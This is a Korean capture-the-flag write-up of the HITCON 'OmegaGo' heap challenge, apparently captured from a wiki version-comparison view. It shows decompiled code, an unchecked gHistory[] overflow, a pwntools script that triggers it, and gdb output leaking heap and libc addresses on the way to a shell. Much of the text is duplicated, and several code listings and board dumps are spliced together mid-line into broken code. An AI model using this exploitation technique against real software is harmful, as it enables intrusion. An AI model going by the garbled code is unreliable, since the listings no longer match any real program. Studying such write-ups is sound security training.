Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

  • 해당 함수는 다음과 같은 기능을 합니다.
    • setDefGameinfo() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.

    • "operator new(8uLL)" 코드를 이용하여 AI, HUMAN 변수에 Heap 영역(8byte)을 할당합니다.

      • 각 Class 별 할당되는 Heap의 크기는 16byte 입니다.
      • setAIFunction(), setHUMANFunction() 함수를 이용해 할당 받은 영역에 호출할 함수의 주소를 저장합니다.

    • while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.

      • gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.

      • rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.

      • rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
      • 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
        • 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
        • 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.
Code Block
languagecpp
titleMainFunction()
__int64 OmegaGo()
{
  Method *AI; // rbx
  Method *HUMAN; // rbx
  unsigned int rowNumber; // [rsp+Ch] [rbp-64h]
  unsigned int colNumber; // [rsp+10h] [rbp-60h]
  int playerNum; // [rsp+14h] [rbp-5Ch]
  double playTime; // [rsp+18h] [rbp-58h]
  struct timeval startTime; // [rsp+20h] [rbp-50h]
  struct timeval endTime; // [rsp+30h] [rbp-40h]
  Method *player[2]; // [rsp+40h] [rbp-30h]
  unsigned __int64 v10; // [rsp+58h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  setDefGameinfo();
  playerNum = 1;
  AI = (Method *)operator new(8uLL);
  AI->Play = 0LL;
  setAIFunction(AI);
  player[0] = AI;
  HUMAN = (Method *)operator new(8uLL);
  HUMAN->Play = 0LL;
  setHUMANFunction(HUMAN);
  player[1] = HUMAN;
  while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) )
  {
    gettimeofday(&startTime, 0LL);
    (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber);
    gettimeofday(&endTime, 0LL);
    playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0
             + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec));
    if ( rowNumber == -1 || colNumber == -1 )
      break;
    if ( rowNumber != -2 && colNumber != -2 )
    {
      *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL]
                                                              - playTime;
      if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 )
        print("Time's up");
      SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0);
      playerNum ^= 3u;
    }
    else if ( (unsigned __int8)regret() ^ 1 )
    {
      print("No you cant't");
    }
  }
  CheckResults();
  PlayHistory();
  return PlayAgain();
}

DefaultSet

Code Block
unsigned __int64 DefaultSet()
{
  const char *v0; // rsi
  signed int i; // [rsp+0h] [rbp-20h]
  signed int j; // [rsp+4h] [rbp-1Ch]
  signed int k; // [rsp+8h] [rbp-18h]
  int l; // [rsp+Ch] [rbp-14h]
  FILE *stream; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v0 = "rb";
  stream = fopen("/dev/urandom", "rb");
  for ( i = 0; i <= 18; ++i )
  {
    for ( j = 0; j <= 18; ++j )
    {
      for ( k = 0; k <= 2; ++k )
      {
        v0 = (const char *)1;
        if ( fread(&qword_607260[k + 3LL * j + 57LL * i], 1uLL, 8uLL, stream) != 8 )
          print("WT..");
      }
    }
  }
  fclose(stream);
  for ( l = 0; l < gHistoryCount; ++l )
  {
    operator delete(gHistory[l]);
    gHistory[l] = 0LL;
  }
  sub_402FA8(&unk_607220, v0);
  gHistoryCount = 0;
  sub_40210A(&gPlayerGameInfo);
  return __readfsqword(0x28u) ^ v7;
}

SetMarkForBoard

  • 해당 함수는 다음과 같은 기능을 합니다.

    • player 변수의 값을 이용해 플레이어의 마크를 결정합니다.

    • saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.

    • 각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.

      • CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...

    • 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
    • 입력한 위치 값가 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
      • "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
      • 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
  • 취약성은 여기서 발생합니다.
    • GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
    • gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
    • 즉, 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 영역에 Overflow됩니다.

SetMarkForBoard

  • 해당 함수는 다음과 같은 기능을 합니다.

    • player 변수의 값을 이용해 플레이어의 마크를 결정합니다.

    • saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.

    • 각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.

      • CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...

    • 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
    • 입력한 위치 값가 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
      • "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
      • 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
  • 취약성은 여기서 발생합니다.
    • GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
    • gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
    • 즉, 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 영역에 Overflow됩니다.
Code Block
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
  signed __int64 result; // rax
  signed int mark; // eax MAPDST
  bool v7; // al
  GameInfo *historyCount; // rax
  GameInfo *saveGameInfo; // ST30_8
  signed int i; // [rsp+24h] [rbp-2Ch]
  unsigned int row; // [rsp+28h] [rbp-28h]
  unsigned int col; // [rsp+2Ch] [rbp-24h]

  if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' )
  {
    if ( player == 1 )
      mark = 'O';
    else
      mark = 'X';
    saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
    gameinfo->rowNumber = inputRow;
    gameinfo->colNumber = inputCol;
    for ( i = 0; i <= 3; ++i )
    {
      row = dword_404FE0[i] + inputRow;
      col = dword_404FF0[i] + inputCol;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
        && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
      {
        sub_4024C2((__int64)gameinfo, row, col);
      }
    }
    if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
    {
      if ( !printOpt )
        print("Why you do this :((");
      result = 0LL;
    }
    else
Code Block
signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
  signed __int64 result; // rax
  signed int mark; // eax MAPDST
  bool v7; // al
  GameInfo *historyCount; // rax
  GameInfo *saveGameInfo; // ST30_8
  signed int i; // [rsp+24h] [rbp-2Ch]
  unsigned int row; // [rsp+28h] [rbp-28h]
  unsigned int col; // [rsp+2Ch] [rbp-24h]

  if ( (unsigned __int8)GetMarkForBoardsub_402528((__int64)gameinfo, inputRow,printOpt) inputCol)
 ==  '.' ){
  {
    if ( player == 1!printOpt )
      mark = 'O';
    else print("Wanna Ko Fight?");
      markresult = 'X'0LL;
     saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);}
    else
    gameinfo->rowNumber = inputRow;
{
      if ( gameinfo->colNumberprintOpt != 1 inputCol;)
     for ({
 i = 0; i <= 3; ++i )
    {
 LODWORD(gameinfo->player) = mark;
        rowhistoryCount = dword_404FE0[i] + inputRow(GameInfo *)operator new(0x80uLL);
      col = dword_404FF0[i] + inputCol;
 *historyCount = *gameinfo;
        v7saveGameInfo = historyCount;
  (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col LODWORD(historyCount) ^= 1gHistoryCount++;
      if ( !v7
        && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark gHistory[(signed int)historyCount] = saveGameInfo;
      }
  && (unsigned int)checkLocation((__int64)gameinfo, row, col)result == 0 )1LL;
    }
  {}
  else
  {
    if sub_4024C2((__int64)gameinfo, row, col);
 !printOpt )
       }print("You cheater!");
    }
result = 0LL;
  if}
 ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
    {
      if ( !printOpt )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) )
    {
      if ( !printOpt )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( printOpt != 1 )
      {
        LODWORD(gameinfo->player) = mark;
        historyCount = (GameInfo *)operator new(0x80uLL);
        *historyCount = *gameinfo;
        saveGameInfo = historyCount;
        LODWORD(historyCount) = gHistoryCount++;
        gHistory[(signed int)historyCount] = saveGameInfo;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !printOpt )
      print("You cheater!");
    result = 0LL;
  }
  return result;
}

Debuging

Overflow

  • 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Code Block
languagepy
titleOverflow for gameInfo
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)


p.interactive()
  • 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
    • gGameInfo : 0x609FC0
    • gHistory : 0x609460
    • gGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
Code Block
titleoverflow for gameInfo
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491
Attaching to process 3491

gdb-peda$ x/gx 0x609FC0
0x609fc0:	0x0000000000b94da0
gdb-peda$ x/10gx 0x609FC0
0x609fc0:	0x0000000000b94da0	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
  • 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
    • 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
return result;
}

Debuging

Overflow

  • 다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.
Code Block
languagepy
titleOverflow for gameInfo
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)


p.interactive()
  • 디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
    • gGameInfo : 0x609FC0
    • gHistory : 0x609460
    • gPlayerGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.
Code Block
titleoverflow for gameInfo
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491
Attaching to process 3491

gdb-peda$ x/gx 0x609FC0
0x609fc0:	0x0000000000b94da0
gdb-peda$ x/10gx 0x609FC0
0x609fc0:	0x0000000000b94da0	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
  • 해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
    • 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.
Code Block
titleBoard
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..XXO\x00.OOX\x00X.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6
Code Block
titleBoard
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..XXO\x00.OOX\x00X.......
18 ...................
17 5 ...................
16 4 ...................
15 3 ...................
14 2 ...................
13 1 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ......Time remain: O: 180.00, X: 179.84

$  

Decode

  • 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

Code Block
title좌표 입력
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 


...Print board...
Time remain: O: 180.00, X: 180.00

A19


...Print board...
Time remain: O: 180.00, X: 171.04

^C
Program received signal SIGINT, Interrupt.

gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
gdb-peda$ 
  • 다음과 같이 추가적인 메모리의 변화를 확인합니다.
    • 사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.

      • 유저가 입력한 값은 0x2aaaaaaaaa 입니다.

      • 컴퓨터가 입력한 값은 0x01555555555 입니다.

Code Block
title19열 채우기
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 .............
 4 ......
17 .............
 3......
16 ...................
 215 ...................
 114 ...................
Time remain: O: 180.00, X: 179.84

$  

Decode

  • 화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
  • 다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
    • 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.

    • 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

Code Block
title좌표 입력
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 


...Print board...
Time remain: O: 180.00, X: 180.00

A19


...Print board...
Time remain: O: 180.00, X: 171.04

^C
Program received signal SIGINT, Interrupt.

gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
gdb-peda$ 
  • 다음과 같이 추가적인 메모리의 변화를 확인합니다.
    • 사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.

      • 유저가 입력한 값은 0x2aaaaaaaaa 입니다.

      • 컴퓨터가 입력한 값은 0x01555555555 입니다.

Code Block
title19열 채우기
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ..........
17 ...................
16 7 ...................
15 6 ...................
14 5 ...................
13 4 ...................
12 3 ...................
11 2 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$  x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
gdb-peda$  1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$  x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
gdb-peda$ 
  • Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
    • Board영역에 저장되는 값을 bit를 이용해
    Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
    • Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
    • 다음과 같은 bit값을 이용해 player를 구분합니다.
      • AI : 10 bit
      • Humman : 01bit

...

  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
Panel
title확인해야 할 정보 목록
  • Leak libc address
  • Fake chunk
  • execve("/bin/sh")

공격에 필요한 정보 수집

surrender

  • 정보 수집을 진행하기 전에 알아야 할 정보가 있습니다.
  • 그것은 바로 surrender 명령어 호출시 할당되는 Heap 영역의 변화입니다.
    • surrender명령어를 입력하고 게임을 다시 시작하면, MainFunction()함수를 다시 호출합니다.
    • 여기서 중요한 부분은 DefaultSet() 함수 입니다.
  • DefaultSet()는 다음과 같은 기능을 합니다.
    • History[] 배열에 저장된 내용을 삭제 합니다.
    • sub_40210A()함수를 호출해 gameInfo 의 데이터도 초기화 합니다.
Code Block
languagecpp
titleDefaultSet()
__int64 DefaultSet()
{
  signed int row; // [rsp+0h] [rbp-20h]@1
  signed int col; // [rsp+4h] [rbp-1Ch]@2
  signed int playerCnt; // [rsp+8h] [rbp-18h]@3
  int i; // [rsp+Ch] [rbp-14h]@12
  FILE *stream; // [rsp+10h] [rbp-10h]@1
  __int64 v6; // [rsp+18h] [rbp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  stream = fopen("/dev/urandom", "rb");
  for ( row = 0; row <= 18; ++row )
  {
    for ( col = 0; col <= 18; ++col )
    {
      for ( playerCnt = 0; playerCnt <= 2; ++playerCnt )
      {
        if ( fread(&qword_607260[playerCnt + 3LL * col + 57LL * row], 1uLL, 8uLL, stream) != 8 )
          print("WT..");
      }
    }
  }
  fclose(stream);
  for ( i = 0; i < historyCount; ++i )
  {
    operator delete(history[i]);
    history[i] = 0LL;
  }
  sub_402FA8((__int64)&unk_607220);
  historyCount = 0;
  sub_40210A((__int64)&gameInfo);
  return *MK_FP(__FS__, 40LL) ^ v6;
}
  • 여기서 중요한 것은 vtable(Computer, Humman)에 대한 해제가 없다는 것입니다.
    • "Surrender"명령어를 실행할 때 마다 Computer, Human에서 사용하는 vtable 영역(0x40byte)이 매번 생성됩니다.
    • 이로 인해 gameInfo 내용을 저장할 Heap 주소의 위치가 변경됩니다.
  • 다음은 디버깅을 통해 확인한 메모리의 변화 입니다.
    • 첫 플레이 정보를 저장하기 위한 Heap 영역의 주소는 0x60b080 입니다.
    • surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b0c0 입니다.

    • 다시 surrender 명령 실행 후 첫 플레이 정보를 저장 주소는 0x60b100 입니다.
      • 각 0x40byte 차이가 납니다.
    • 처음에 할당 받은 메모리 영역에는 vtable 정보를 저장하기 위한 heap 영역이 할당되어 있습니다.
Code Block
title메모리의 변화
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
(gdb) b *0x04027C3
Breakpoint 1 at 0x4027c3
(gdb) r
Starting program: /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) x/i $rip
=> 0x4027c3:	callq  0x400f70 <_Znwm@plt>
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b080	6336640
(gdb) c
Continuing.


...
surrender
...
Play again? (y/n)
y

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b0c0	6336704
(gdb) c
Continuing.


...
surrender
...
Play again? (y/n)
y

Breakpoint 1, 0x00000000004027c3 in ?? ()
(gdb) ni
0x00000000004027c8 in ?? ()
(gdb) i r rax
rax            0x60b100	6336768
(gdb) x/18gx 0x60b080
0x60b080:	0x0000000000405040	0x0000000000000000
0x60b090:	0x0000000000000000	0x0000000000000021
0x60b0a0:	0x0000000000405020	0x0000010000000000
0x60b0b0:	0x0000000000000000	0x0000000000000021
0x60b0c0:	0x0000000000405040	0x0000000000000000
0x60b0d0:	0x0000000000000000	0x0000000000000021
0x60b0e0:	0x0000000000405020	0x0000010000000000
0x60b0f0:	0x0000000000000000	0x0000000000000091
0x60b100:	0x0000000000000000	0x0000000000000000
(gdb) 

Leak Llibc address

Panel
title확인해야 할 정보 목록
  • Leak libc address
  • Fake chunk
  • execve("/bin/sh")

공격에 필요한 정보 수집

Leak Libc address

  • 다음과 같은 방법을 이용해 Libc address를 추출할 수 있습니다.
    • 앞에서 작성한 스크립트 코드에 의해 gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장되었습니다.
    • 이 값은 사용자의 입력 값으로 변경될 수 있습니다.

  • 공격자는 gameInfo 전역 변수를 덮어쓸수 있으며, gameInfo에 값을 입력할 수 있습니다.
    • 이를 이용하여 해당 프로그램에서 shell을 획득할 수 있습니다.
  • 다음과 같은 방법으로 Libc address를 메모리에 저장할 수 있습니다.
    • "regret" 명령어를 입력합니다.

    • DeletePlayHistory()함수에서는 History[] 배열 끝에 저장된 2개의 Heap주소를 할당 해제 하게됩니다.
    • 이로 인해 해제된 메모리 영역에 Heap 영역에 Libc address를 저장할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • history[] 배열 마지막에 저장된 heap address 2개는 0x0201a180, 0x0201a0c0 입니다.
    • 0x0201a0c0이 마지막으로 할당 해제 됩니다.
    • 0x0201a0c0에는 GameInfo 구조체의 값을 저장하고 있습니다.
    • "regret" 명령어 실행 후에는 0x1ca40c0 영역에 Libc address(0x00007fd2579d47b8)가 저장됩니다.
  • 사실 0x00007fd2579d47b8는 Libc address가 아닙니다.
    • 해당 프로세스의 메모리 맵을 보면 "/lib/x86_64-linux-gnu/libc-2.19.so"가 사용하는 메모리 뒷부분입니다.
    • 하지만 이 값을 이용하여 Libc address base의 offset을 구할 수 있습니다.
      • 0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8

Code Block
titleHeap 영역에 Libc address 저장
(gdb) x/12gx 0x609FC0 - 0x10
0x609fb0: 0x000000000201a000 0x000000000201a0c0
0x609fc0: 0x000000000201a180 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000


(gdb) x/18gx 0x000000000201a0c0
0x201a0c0:	0x0000000000000000	0x0000000000000000
0x201a0d0:	0x0000000000000000	0x0000000000000000
0x201a0e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x201a0f0:	0x5550000155555555	0x0000000000000055
0x201a100:	0x0000000000000000	0x0000000000000000
0x201a110:	0x0000000000000000	0x0000000000000000
0x201a120:	0x0000000a00000007	0x0000000000000058
0x201a130:	0x40667fdc209246b8	0x40666f6b9e492bc5
0x201a140:	0x0000000000000000	0x0000000000000031
(gdb) c
Continuing.

regret


^C
Program received signal SIGINT, Interrupt.
0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) x/18gx 0x0000000001ca40c0
0x1ca40c0:	0x00007fd2579d47b8	0x00007fd2579d47b8
0x1ca40d0:	0x0000000000000000	0x0000000000000000
0x1ca40e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x1ca40f0:	0x5550000155555555	0x0000000000000055
0x1ca4100:	0x0000000000000000	0x0000000000000000
0x1ca4110:	0x0000000000000000	0x0000000000000000
0x1ca4120:	0x0000000a00000007	0x0000000000000058
0x1ca4130:	0x40667fe2174c4cdb	0x406670861e92923f
0x1ca4140:	0x0000000000000090	0x0000000000000030
(gdb) info proc map
process 4778
Mapped address spaces:
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x407000     0x7000        0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x606000           0x607000     0x1000     0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x607000           0x608000     0x1000     0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x608000           0x60b000     0x3000        0x0 
           0x1c93000          0x1cb4000    0x21000        0x0 [heap]
      0x7fd257310000     0x7fd257415000   0x105000        0x0 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257415000     0x7fd257614000   0x1ff000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257614000     0x7fd257615000     0x1000   0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257615000     0x7fd257616000     0x1000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257616000     0x7fd2577d0000   0x1ba000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2577d0000     0x7fd2579d0000   0x200000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
